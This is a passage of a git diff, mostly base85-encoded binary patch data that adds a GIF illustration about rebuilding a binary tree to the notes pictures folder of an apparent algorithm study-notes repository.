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

literal 0
HcmV?d00001

diff --git a/docs/notes/pics/_u91CD_u5EFA_u4E8C_u53C9_u6811-21548502782193.gif b/docs/notes/pics/_u91CD_u5EFA_u4E8C_u53C9_u6811-21548502782193.gif
new file mode 100644
index 0000000000000000000000000000000000000000..d5a4eec5135cb19520aea0df5891e9748bcfc46d
GIT binary patch
literal 23552
zcmd?RcUY5co9>%HAR)BSJ0u{ziiIK~y(6J_2)&3HKsspXz4vP9y$VtU4MjRqq&KNj
zR0O4~xbXG;zV*$lnc3^u$L#rM-<)~4kNYWveqF!we4?zXBrai<4~zz$0sur{2o(_t
zoSce_mQ|2VNZ^`;7{@(%PDL4URb>S=MMX_Xb!#c4qnd$(u_?;R*4go)r>mQfpPzqp
zfM;A(SbS`BTtZ@Wa#l!21v;<St8CK0Y9^{~BEP<?tiHXb;YH)~=PzEgw7u-??C$R#
zeAoYWW^8I|YVO_4!pz+A`-RmH3+rFzHjk&aE=D&m-mIU$dVk)sa#p`|Rxx+hxOCRO
za*lg{-oJMKcH?|%^L%FWVs`6d_QS>8hl}~`?|-zg^ZiO!^Q*<#t@A&c`*8l(F@GJl
zbMfbx&CjQ&r-vt}-%d}zU0j^}xEepN#^pc8#pUJ6<>mKZzkdB=<=?;m@7?v^d$p_Q
z`rm%R|M_eFzy64SzE%IlSK$9V;Obz+FXH=(db;wmNJUX05quy306?6BKm!0MK;UW)
z`2A}FfLsEGiI`RDv0Wh$Dn7G;`huPa7>8P}N<-nB82TH|O9Kr>{RwdSXlB*M;=vRi
z-Ac2;#**O-5u2f0)#s(7IpQ9BOM}nL#-7Q9Kv~q9$|s6cQuxe=nkwFvA&b=V)S4@&
ztBjsIFAp_W&DNoMqFK~mRL?(md{=2c{Gw*D1-&tpr`}S#{L<&!-turu-TT*fl+6;+
zYlB_9ba1J9Y<EE<1a>VJpfO)d1g5($b(n|}?V^B6-P6V)!|;jqhBTuRtyd$VFe&EH
zud=}qUhq9}m|Nlygrb6<_?~39Y$`XUm#*8m(P|_}uTTMv+?R)h@xjWm)`%`QqAi_E
z)P2O8o{&{MK^{PXoEX6oCpDH!GZ7m0j#ZBQy|A7X4F!HK7Z6fJ6e<Vo=fvQ7(jCm0
zNa&fNfv$S=s9+jszyXGOAnE`>y%mX(lc*zVVuoxf9Io1InJLLq<7tZ}Qj?jTDo_vK
z>VF@9=XzN;KsbF>25(CoPC!FcE)s?p&I=3nCRaI-k)R7e*-21f>AO5BLsxOZTQX}H
z@CXg>I6g<Rsx02DEG!HksbD1w(H-DP1hX4a*x~6SDS!!>bz3=*9{gY%tgS!+fYM~5
zfRD&C;Yes?v`kPIg-k&(i08+yECHV4nyd|-_<@WK`8CNBFkR|KSIH$_(n%1cUDF}B
z2&8(@OHGt$Y+e;ac!!FB7bAk9W``ijp!monJ|_+%R3eB^<~pZmyb`)74`MuCX}guk
z#VR{BA(@!NY9^NG6J-Efd)D1YOyyac{tZ_$olRTQ*-E2e-fj==gFk}Ib3c42Xi@oD
z22v&o^Q4p#M?xSP+V{OUhN`ZsA4#GPsc5lqJRq-`OmG%HgZ+mHa_j(~4;i+9O@@aD
zw+KGSjuoY$G|TQzCC`wjCm<gnR7~c*hLWQ`did!`m0Ux%0gp`PU<t4n=29oarvTd;
zBFju<Bw$l{Sx-%y>1;$$kxeTDqEtX)ilM1X#y(Koob}~GtzV*C-WC!QOzlbK)J3Gl
zeSZ?7o4<<N$kgm=g46^boK;vCnvp@C<}2s<$XoR1g4iHO3eMR|2t1!_m<Ng#BCMK0
zM6|lv!3361U7dG(`S$%)+7YgPM5l3QTMnKPJ2C_b>go#wjik1Wkm0c1AP}YAY8NCu
zf)oMGO%p<f=w-@u+0dqre*sg|D-l2ke+vClMlPNDfM``1o!#BIQL?Y!6Xz1;C*B}H
zX#pu5NoY28i>QlnAVfJObvdrXKM;W7Rl9#Fg~SUfMoGp@y#Jx(L&;YRP{8kEsir)T
z40h90E~P>cIY83NqgLJ6>hT^s4#?L=D%)KKr5KP$WYW+`;ehXeG!z+`H2flN!X_#>
z5`)8DzWa*Az|2CLmNRMr=cE`EbrdbvK@bRn0p7&26WkOD!b78I#w0eF2=Ky)U|0aX
zqpU<9Bp6>{mB5o3hbNh+$k&$y^azy$DWCy_;)vM9*hpGJB!*$C4sesFA4G@&!a8I?
z1amklB{W8iH4Z2w(*>ek4OVTR!1q+(gi>C8V!=A8#Q_}83Fm>_N?$Wby4DGE=@m(h
ztnf%gG^lT^sza|)fvSr)0JkxUHt8E6!pxwc#@3Nl@oz*U*+IfVs&7Lb*8rBefE&}h
z3OpbzkS1~)1USI+By@;nxXhG8h_zsp_pit7hn7k0M&UiyX~>1#8jyI`cHcfc3cvsh
zQcx5L*00xvpG}p~%C4%!;!zh;m6X#!FW!V^A3bBjvP&oIj;oS+&{W9)i41_6Po054
z#shX5EhL6<JSpd06P|{hq)tfwQL&LNhLu6$O$?zcFiVQ@Mu7;x#yJQtb845B3O90n
z#+`;5v&UC_Azj3JtH3B02LK>d`6Q1kfB)HruZ~eM%hVEQ78>*@r~~w{iRd(b^9;M0
z=jrcabbY$Tt<)0ruib`%X(DN`*twusUARryCu=sQ`C-QNT>qcdj=Gc!6WK4W<=?Gw
zHXL4<X+LSMkGrgKaZq1eSU7pnI$GoEJ-oPbangb#twl$uFRe44whn04x@Qb8eULnD
z8;`4fT&BLfXL8y;H(Kk}GQ7O+clvUb^oyZ@%*xm7(~cd@I=^?N7-;or=fPd!=_RK3
z7nQTX&&_pDCholddC}6bV=Tl;EVGKobcTc6M+bvNPy~0*x`+sIEC>xN$c@%+dawG>
z8zXD@<T&e5792q$Hk2~wte5A0L$vM^2DpQIBNBfYjgJmuA2{n1^}+#+FdM96t$osD
zjZwlf0N9O;6nRK+a>mFe*PZjh`>t*jSdA?{`K-RX^^NH@)f>z%=fj4tWYW7d>^Z6C
z2k`o2E|Z5f?0KKJjTk+-k@-@<L8QO!t%>w=kEB=!!Iy1g2Cr^l3pBQ6b&bcvT^sY|
zt3N2*J0FX86)ogo36<0J8%&8mDoj|~QRiov%zxWdB*@}?-G5<3amAzTF6o|njO0YI
zS966{=kCqAtZDqruN5H&&hq`)lbx)OYtn|dbz2zco}V1maj>|^kl$&0)7M<9wfsq1
zcyVI7@7wbvrqAkZIrD?Bj+&|RK1)9O-nv|R)Y8D>s+O=gzLoy1EiPwYr7mabbNtau
zFv}OQv6rpK;a{QcJs8r~)!|dGuS8sl7{~~Q$a4R<n`#_DR-HuzdXK9ix(g6CWdJd(
z1|?sD<L`bl?iiYvmK{`o1xzwMf8R^mnvzwoMiu}7GB|dnQ@!1!BEbMzurjyBp6mqh
z&u>#eE&!s5oBGyRJTS^H?UWRo%b#UT%5y##BW=%L6|kl5?VDyLZI&fAU(3jb$HTV2
zZT6HQ>o$EbWv(w;@HJzW5PdhSn-9O~8wvt1zt$_Uf5=^hje|}5!ahlcy#9E1T<K}!
zN(2tCmHf%43j3QA71ele>VAIJ`_PuGkDI;~flbGfd(38yfG9>#qwsROPxBVYI9=Z*
z1PVtoRpH|}gd&KJ__5bQ5?t^o>r?lw?<s~d4T)ctKAUiLPKAhkpSpKG-C_Y;$-6uc
zt^&*8TYG<PjTpzzHoXh6`uu=!@2#h35n#LPsqY7g&T~F30FXfZb(&(`X1%nTRJnt9
zQj4tyM!&8<u&7^uZPxZXEvSPIbTh+H5$Q?H<Ai@^8`SUBFZT3>lD*nEzO;k?cW|Hy
zAqIj1P-E`TY}<B~2BxLjLg+yRTLGbEcI5O||4iKc4FRI{!D_URN(-L)_67C6a7L8|
z-ZZlNQD&=x!ec?>b0lg?57>5cvHBAD6C?3q5qLm&u+|JlY|gf<ENIp{$iW+6As*^z
z5PH0A%MK5dg$L5m+g&?zbBcIU-egzD#p?LjS9`!Kb~Ze1#_hJF=X21L%bzWPyK_%0
zKltnJ*bdN{4Yk;QX?e24?ekFVAzOx_2F5E`B`j%H=>{5K92xC4pf7~>@%8Z!b-a4g
zLF5jGsz%{G4o|Dj?2;g6DXq5L<Aw!CQR**3)94HdFp++ak4M-Iha&wtc?{c6BT+t2
zctwD2&5u8o`B{dC9+rhy62@wTgZR++Pb1Ktj&^ETyu9tWOj=(RBxrvp{*H*xDo=cZ
zcx0Heom#!yb~&E-YTRKsXm7x_?acILq=UMV!_Pi@(m4krV|)BvQvzcLFs}otsy%U(
z0}YWq`MfCwuLIS&J;S*jT~wm|oCDLKDa*M%+n_z7&5lDgiL>JJp#tQgQn~9^q)W57
zbB)Tw>rSpW1|QyXdL%~VDnaz%j<K_%lOuPVDes^?Kas;-UI$^KWbNHY_o7^7cOA7<
z?FB3BbO)352kq4>Of`+|O`RO9jO{In(o}g}3{@W)XE{1BxH&l`Df2#fxa;zW2<_(N
z=;0gd>-5k&D&^(v^tM|7U}9!;TW0KhX8d`k`*CKnL{>6GR;q7Ss#8{GTULBUR_=M$
zbZht^0ba3jcByZ6c~*8M5#HSM?Ar6}^7-s~iJU6loF?C#GN+u@wj6k($pC>ajv=>O
zBDdE#x6e0sAS-vMEq7!-_w9M^IIqQ|MBbEf-i&YFTvpz~Wn13TeBR1=-YP@>x<vk_
zasCJ2{GF`)y|(;M^ZEPd`3DTozDhhhGJbaA`|K?1*+tv4AM?*H&z}Jpv3QbLkO`L1
z4-3i0Lff$<3s|xXER3;$QnG;Bq=441fIho`vAuwKp@3DASw0!SE?IcZq>#(6kUJWH
zk0}&bC=?h%2{9I3uPhWbDH3ikyq#UdnT?lJVwQjplwmBElPp#+DOTJAc-R%IwHGTf
z!Zj|6wW5oWk|k<;#d>}va!`QOf>}ZlzRE!fim}vMveZ_xlm!5|h6LHQm%6Bxf>r?%
z<E8Ekr4HGp9)4x6djJ7USpc;38n)zawpjvI=B1BUDQEoy*@Mz-6(>)|ME8?Y$@&LR
z+e=1nmA|wvkE|@uh%Sx4uutTxzzmg;$&`DBSG+8(D4QuS+XE!|Ij1m|57<>yKmif$
zl`)J?m4438_9_cZDvH`Gnk%cw&{gs2RrxQf@=q!Y)hgZXE4$UIqwK3Q!mBe%t6vRO
zKl)JJFIk<VhL<;FKc(h0({9$d=d>VMvm{xy(q37UUEQfx`&zQ9tG#C2*>O_MX^qio
zW3TAYxwa|0Vt23ZBVYArlbSC>b#p`Z+tGDEf2UJMr}I6>?|kJyo$WLLctl9_tdSkD
zx*gRv`nc7$T+ObsILI>ME<FHW_pF}7;ZlM)5oqG`nChxzgW(_3H$Yq5=ia%S+-_(v
zY0y*hIG+WYHOC=m8nnV6v%{kiIpw4uZQs#jc3J?O8IAnI6<V}G^y5HsY-FAaK($3J
zM#WCt-%FCo>#l!2wR-uJGEnn&oXSVrfg?P5Sg6O2EyqXOF<BI2`F)9Te9ZSqfsfwu
zNaU(mi+tkE=aDVd?RJ~s*0g>AU(SnEXkDmeIE*_G{k_ig1)dndjeivoLu}_eY%8mx
z=8|!f5r@a*-(*yUW<h#KSG5W$d+Qs#KpF(pwb)7fn{AocWio-9s_fiynz`!LY<*s8
z4cjULg86ttK;r<nW`OB-JO1TI+m@4XCR`Z%fVXbs%ligVO2l@Z56oVxH>#I;z+r%*
zkG5~B&_ptTu~xg1D)d;4CIcG(U1Zb@aV$5+qhczol)G7r@ReqIkR}so%hYUJ-L6ju
z0Koys$6sllywdCgDWZLh=^Kyz!(GZiqyC=S-Yv4Y#twQ<VH{|Q*k9_bGw!>ctoW<V
zsu%avE4S(KZXkW%^*7|2+CM9^V_EVTTeNjovE$MRoM{aMV}TDoXxv`yCiv*-xKmE7
zVMhAHmIn>2Gi(JVhS%Py(+dwR?SDOFTBm&4!Q31fuHMbXj7NwCb~!v@cX%RNZA;i;
zJD%EMVDP5L^UYd}$E7?rkOYNqYTxyf+vmA$luSnlD~X#lo%_Oev(k@thnC01M$zEy
zzB*+!izQp{YFi&=`v3v6CoZqwmiJrc#!c<SUVk}Y-{CVh3__p{0q8KPfKCl1;4qIN
zq92c1CRWY}CtPi}z%z97(@U9{1Vt2{7%aiken6uYk8^y4h`ASJ1ZpV-3E)N~0kHyA
zAW7KU^-u09@KJG@ZuUDPCI+CLAGSrzW+hUN<7N&s0%NJMwc6En{VuNt&8qKe)Gc4s
z*qsczpS;D<jA3q%B@7Kr_>Ga|j8VQEBUu_FCG8{mJ{0KH8=^G+$bS5F*f_(_v7P9N
zu)T3u)!TKx%LxOGi4(p_I+pQI(8{!!dK|R=nt3JHXGi8yd)CjUaPvvpz)7*?YKc6@
zJLdLxmrd`*y_2nZN3uNG`eR&_v}z!?-mY{!|6=Ndd77JaA}W2Vqj^eUc}l5fn#g=A
z+-s^&>K*k*pzF^WG|Q~}-C2(~AV6l;CvVn=1@5;z8~AYc3Co<%&(dJ?Ik%e0z>eYQ
z&bip-x%i)Ri7fNUcjr^h=hFk{V@GEOI3=Pc=ktHgV_6mo?=BRZFO&u@l;<r}b}m$R
zE&xvo>RA>W?=Ci(FTMy|Y|UG2?_BIyUVQa)5y!IBeRrwXe5o&RX&`TDsB>v#dFk!X
zrE!+!$)&r?Q|8Mvfy;Aw%L|>$OUuhEKbKcoR@U#XY?`lp2wd68TiNSe`Lw*U|8wPl
z<^9*Y?~lyip9H=?%X@#(`Toc9`^%s20j#Td(yJhgRl+B$ko;BXt5uSfRkF)f80#9P
z^cuCr8ts!c`usJ<S8L2GYpj=RaMpEp>Gf+C>s(LPdGgo!UabqPtP5SPi?D8pN^jh>
z*tq><Lp*;&^3{ga%7*mih79Ybob;xG#ir7eO_lsjwO5-OE1UN(H<7GcI?`Ku7Fz~S
zwv6((OkQo7t!!CbZlPE|SnuBi0)OKz-~a#!5HJGh0M-C60TH63qF1^;a{Wr8|B1wV
zg`_+9<(ql6N;o{dDWAGf#F&vJ=s;qTgt7MtBGm~)RKbsBAgJ3!N<2_OCMX*<l$IPy
zPC`Tkfk41uFyYnX_aGu7A|WB6prE9qqi14bVPRo|!`V65ukmv83JC~_-IBN`B`q%_
zt0X6{uAqoiR@PNlGe9Es^^6UTP$m{m7Pjs-5B!|a0WKba4?Ul{dSTpsg1r1f`~rgm
zLSiCflA{yS<C8N}(z8=DpQYxMq&}-oD{9IpZOtxg%PnuquV}?qw3Jjd*H$*Xs;=y>
zDSKO6I#XY~UYGs3Iq&O>oYS`a)0ai3on<H8O~-w&P6m5VM+QzuhfYU_|6{!!K7Bj#
zN8jF#?2M1kOwNzJTN#{O@0s51p8ec4f6%k^wRh#X|NY6(>gnj(*~G@#yN$Ey&9lEi
z^>32>TmOLB|D@Xg;p7j-{%d=_xO1_*bGEvBy7BRN^W*XM=i|LE$NPsThu==V9iJYb
zoSmMXUyX}@8Q=e9{D$9ujo$?PUl{lwO8Wn+?G@g|hy2F7vOzp1Jb&X|ZRUTAcjI}&
zF%0s5@NQx8VZ$H1o66umlKltodT<YC{e^c^tw-}!QojB${tNH&v+Aqe;(b?sg?CFN
zdhMs{q+71=F71Y1z2mHz;P8vjGtZq~*LteA2x+&vRlIG!!n^7nzBLyt8gm@0xVxvc
z79&2ZR=rkC>iIwD-S59ixv^N|a?WKxik)|Vdmc6vORu^#KsxH@F<WWL-Xt!{84`b6
z|6a=qi|5g(07GhG?>f7h>&ig?g+)p!@&2vexR09m?|yX8HLtckSktfA-&?i0w0O<1
z78Z>d>x{5`dV0%91Xb?{lg{h>nYGcNHBM1_`SaJ)wlZorx1}jXf;*2Rrn~{S#V6cN
zjj$ok2Cb{TZe;f56P`vWm>fi4eEV7WHAYUXjuU1gj1Gl)gNh>iKsOsBg2!WHa&yM#
zeVpS~IfuVg``JdKZ0+shctvZUYq6^Ft;OM*m8Z5*+R)paQTjqYoax+NwDalL)8QX7
zZPT4TWH~;8e8_frvHKwh-N(C~`*_A_JJ07s#ddzc$?o<u3?bhRHk8(Rry!E6a;Gr%
z_TElWq7vV3ajJpyZb_zn<!))N*WPX!Hk@y-yg1!?ucG|bkrK5M$@Nf*OYIJA&B}*i
zcwwYmp(s3JXhUKZ(QTOqXpN~IWhfEXl!yY2WdP9fxjsZzo`@S%K-8ek;D$#mD_(`V
zZ-ZG=gz@L1d+X;Y)1pWbpAO!%sKgzHks+4qRomq{3&yDhO9}d@1zX|#uS7c=f=MiJ
z->2!#aky?A=w)#fv1q^q1HDM=xN5J^^0*wGMePIuu{gH7L0LIeB&<6~l>(1)CqH+B
zi)VBE(SXfry&SLTgPWmH+KAW`I>ehL4@KSsT%+Bcdfc}O8pT84fZTSkB1C%xdaNKm
zg7%me>%xW%nz9wk!PGydhLH;Iz~30kikrWXO)Jm6eIK_gqIe17mC;Tc&KxmM9JUA`
z=puC$F_R_#$vdqGadQ;(0U)ukoBEdJFZ$@HKaIEQaM{M~-Yd><z1S@;tG&3VT#c4+
zF&*Gy(dWT+TzqcbuKm8>aa!xI`wFb(_pwel?F}*G(t(#g4}|~6w{d0R&OMygGk<Ds
z>V$PVbCrW`CjGR;=HtzbM^E;qpC$M)BanHtZgi5Yc+At~kAD3eD@*uwFEbSWW;rJX
z;O!brKs`dnEA+1Sl6C+$z5D2?0MbOi8WYT2ZADDeN~-^OHCX57K?pnme(7}(T!-Mi
z&3pzU!zt6y{Q%IwW7qH$eePxGukl+R$k8nwv=t+P?w7|Y1+Zyl`S1Eg1h?@QHPNfV
zNRq>-5B!BcW082LL^V)^I30D1_+8%0M>In9K}2_SL+E^hV;n>C>89zzV2_DJ<qs@j
z?^KjmY7PUYuW(&CtdTbp4q>e>f<HB+W+*Hq6lg85tE|Uk%5_Uj>{w=*o+V<a$3OuJ
zL(~Q`A@>!&rcCh{!|n!Ei5YN0I9r3bWe3&XX-+;VhsZ%3u>*C;AVLJBo5OT)*l^(y
zjgF5j#HC)eL?g&tBoU9qcTmHUv4I+ik%gFGLJ-ITG<#7u42=th^}?YAnH)DvcSpY0
z6jGyMawP6F!Q_}#d9KJV*a|XQKlWSx)@85dt+x!(V!g6ZoyZ<0Ic+VsmFF3S)V8;1
zhsHxBQy-rPlq=ZKPehqK4kzj?S86kwi1SMgVEI|DGMzb*l>PWA;%<eSN5*7YJ9Qvu
zV1<UNT58t9O+UfT3U!Z4-L$VwWn4dbk&1j%1%6HCO4B?#Db5omqQ?a(F_n5{YSWb_
z$CXB-l?E+C)3tubRS|ypL<%x9joHW5j+#{_idg(2yAKc>^D47#zZuH$<J!lhK#SAL
z84m0^DZ(+Bico#7oAIPRQqhIfeRXEA>3)4wT(vEQDIU9&Rbyt}CsHI}e#Gyjp6`Gk
zwE>8f&pc@=*Sx~JRVGX#>9>?omq0e7E4<tI0;IST^3eOi;^=-*3(oGL<1eU$3jN=B
z_odnFZ3EGUEqsqMb@LDFw6N(>S5Gm1^Ur?XZ9OcXz58R#wz~~pY-)b-e0RrUztOv6
zO>p18^TEovg7>QxbKxf~F~R%$8SRI0Jx{AlEytI<aqp&ugVR2)5QG>uef31U6IW;9
ztJAkZUx{2}thU-9Z0+eUIWV0dwpOt{>t^0Rh)@@>?oX!g<xWRO-|Dc2wa~W<@1tW`
zq&A3WTYJP@W5YbnK%atJ`zbFQ!b3(f5f6O&iIo~d(gLiwg!=~R!bO8iI#7ICr=+rx
zLF79J=KOSo!$T~=mz1$T!V!?QQ91Yx&t{D<mR=dKyLhNumjFJ?xa`=}mZ&?&n!Whz
zd9sD$ukKaYAZCFAh)|-3*Qf^lO%6jSlhJdxnnXM{oblw0pr}XHYA`|^IH?ZlWfEC+
zbe}-Lg7)jYIIMQyws6A8x3z_7{^EB)crf_^AZwHQZkG`w<)cUd@dukt-py6AKtO2H
zwt(}Nk{q7gnIIevcj0To&0-=k<Ue2!ei;}pOmZDpQIT2!9mFW9k$BYzt1#GRHm<Ju
zQGCiB0+!wayzFq$3t&UU4}&{xNs+<DC20IRDp>GlIEcm!{bdX4*Y*f<zt?kl-`EfZ
z`Bp1depzPf@|yV$<r7RxDTj6tlM6thqE;vs80SI)DIlkUv<_@PbTdw%!)v|VuT9|(
zqfI;~rG#`1WSM?_#k|<c*YDcb-w}bpqLzuI#XUGEf>e~*x0Pz;Na|NSJRHO})H84Q
zM}6FX&V83q2)R9(lk*7w%i_Y}ZBaIMvPh!XoCRk?p-IbwD_pU(Bjr#()=69+U1#30
z@)@5w9}U*IlfUa(cd$&6f4T)lZwya=t$b9!|9~8^e*8+xU08aD2m(AxNI-j*)q~#2
z1+VqwKmMTX;??nB0csO*fdh^$>3_to>)^UrVu#VwY#GP>ivH_1?@#vb=Z@$*%8qzm
z{xU;6dNQ78*-Rd8{<ty1;$wfO7s;kb#0mLJsIZD>AO2gjoktgY@9Or)!7QQFg_z5;
znLy2xz};EjL?i(N9PeGKmuSQj|56|uWe}-1MEAfQ0SEcwEIY-_^)PsE#mv7)m|+eG
z-Lc>xWpmAbIxPpY0Fj3gI51iS9FX{QsM$t%04$yvg6s#oqrvrtUhip$n985B^jp8&
zww7;2ncPO5h*=_9EqNX3_|GiW&nz|1EVLpmwT<X>TP^ilEe!`OjKwWYRp`tkEiEH0
ztuifa&MfS9XdT2Yoy094s8~E4uy`~_>vm@0ac1EOu~c-lQI51xjYI_wSPVSnc^m|>
z4cQ3{6Gug4T14%bduLks4$%4!SR|=fqzt&a7+NQyqwJER_O>umFMRl3M5@n3;-5w8
zIYw)TN8cp0lDY!e=$O{bnD*9~j@Fn$71{>7m`?H7-hmj-di-vq*dg)Q>li$#`q=Tg
z7+$!E2n>J5CvGk?ZlN`934&kkW4A;fzs?iSJ&w2G6Tdxx$Bm5JnTub9;6KqPEf7gK
zGD<k{NjS?)_;z-)AP9PKmH>!K$X_J_8Ylh|PbADrJa-iRXG=%$r=_#`yQTZn&;8xi
z{iD76*Tw&O*FQVL|NB$^iwg?lg!wA?xKg>;Tv!>j=&8l2D0pDxEM%m#B*ZXcC@GW(
zN(A}cD*o;kuO3%zA`}WGAtt_R7D-7+$w<k_$;l~TFe*w)DoQG9Dk>UkYFb)adOA7=
zdU{5B21W)3CI&`kMn)D!Mph;!HWn5R1cK`tCm#==AitoHps=vWZP6Qd#KiAOOUvGq
zS65NdP}k7X($dw@G0@dD($zE8(>F0RG&M0cwKOxgv9xrxF-1GsxuM-2KlTjt_Dl#w
zX9m0FhCF%};ZYRhQI;G~ofTG-6H}3sSeBDooST8o&B@DqmXlYQ_pGF_sG_W_uBN8>
zd1FWWi`TDPaRazFZ@c@Zd-~Vk^zHTc9}M(=8yYws9{i(|k)bR7$NlB#-_7MeyUc%1
zPTr1wo0!;}ncrMoTVL9Ezp}luy1TUgX<_rr{FSy2{?g(6*4O#1qq(i)xvi7At<$*=
zXMaVbuF_HG^H(9N-#My3`a4baANHO9A1(gX$o^Q^`LDFR_v8J?ADjC>b`E}g{`TYG
z_{X=?AIE1uPS1awUHmw|_;K<5$M@fj>|br{KeAj`EgkXSEuCJIi}9bt4#FTSx#aJ}
zj!%7&GH;;EF5{oXj#hR-qe}9h#EwKtWPc7w_O^WgpTrKH`FwfGpTti46xaP+$uPA%
z##EknRYqBoffo&9_bX9lCZlS%KN{46i^9$Cq^eCcqH_vAU!>KTKepM}yXEKQdcV&5
z%ZFvAmO9HIXZ$)Ajn?Y5o+z3SyQR5LRv}58F`lMv2V22ew}?xYj6ZI__Ec2oG&k9`
zd0n9Y%XXP@_hVZ_NNGEV5(#!H=Y6{VwSILbxqK}SLXwj-W}zUwX|xT$z~|!V?A$?)
zvKY8VeA=ZjScp0)U3N5^WkGIOa=X#}72KV7o22ky-QyRv_uj{glax+nT6$N^Y!u5~
z>fmSY7X)EYgn8&@KH8YV5gr^Y;A0XZLnB7up=TbE%4|w9smgKlC=p@YQt)O?t9{NL
zLKBoYOB-gS+NeZs?s6DT$8VC(7U@#bNazV%&$MBG3NIX>gEsP50EG)ZROkSua`?#z
zXl5EqpbB0-v-J}9R^n~Ew4uk-^Ia>U=;?;A;AqrDM39`QO0nKL^LiM$bZX`Y7mE)(
zV64W`A;e73U7u5Oea>Bt{{@L!d9tBuA%s0))weW1eTd8YVVv}Fxoy!413o?fAup$g
zm%grZl~s33OcpA|@+vcH^48SoYKmx}4|HC66+b{-fnFDr=Xg0THpA940ySflw1STB
